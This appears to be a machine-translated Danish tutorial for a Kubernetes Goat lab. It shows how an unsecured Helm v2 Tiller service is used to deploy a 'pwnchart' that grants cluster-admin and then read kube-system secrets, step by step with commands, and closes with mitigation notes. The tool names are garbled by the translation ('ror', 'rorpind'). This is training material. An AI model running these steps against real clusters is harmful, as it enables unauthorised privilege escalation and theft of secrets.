Helm er pakkeadministrator for Kubernetes, noget i retning af apt-get
til Ubuntu. I denne note vil vi se den tidligere version af ror (v2) med rorpindstjenesten installeret som standard, hvorigennem vi får adgang til klyngen.
Lad os forberede klyngen; for at gøre dette skal du køre kommandoen:
kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash
demonstration
- Hvis du ikke konfigurerer noget yderligere, starter helm v2 rorpindstjenesten, som har RBAC med fulde klyngeadministratorrettigheder.
- Efter installation i navneområde
kube-system
kommer til synetiller-deploy
, og åbner også port 44134, bundet til 0.0.0.0. Dette kan kontrolleres ved hjælp af telnet.
$ telnet tiller-deploy.kube-system 44134
- Nu kan du oprette forbindelse til rorpindstjenesten. Vi vil bruge det binære ror til at udføre operationer, når vi kommunikerer med rorpindstjenesten:
$ helm --host tiller-deploy.kube-system:44134 version
- Lad os prøve at få Kubernetes-klyngehemmelighederne fra navneområdet
kube-system
:
$ kubectl get secrets -n kube-system
- Nu kan vi oprette vores eget diagram, hvor vi vil oprette en rolle med administratorrettigheder og tildele denne rolle til standardtjenestekontoen. Ved at bruge tokenet fra denne tjenestekonto fik vi fuld adgang til vores klynge.
$ helm --host tiller-deploy.kube-system:44134 install /pwnchart
- Hvornår nu
pwnchart
implementeret, har standardtjenestekontoen fuld administrativ adgang. Lad os se igen, hvordan man får hemmeligheder frakube-system
kubectl get secrets -n kube-system
Succesfuld udførelse af dette script afhænger af, hvordan rorpinden blev implementeret; nogle gange implementerer administratorer det i et separat navneområde med forskellige privilegier. Helm 3 er ikke modtagelig for sådanne sårbarheder, fordi... der er ingen rorpind i den.
Oversætterens bemærkning: Brug af netværkspolitikker til at filtrere trafik i en klynge hjælper med at beskytte mod denne type sårbarheder.
Kilde: www.habr.com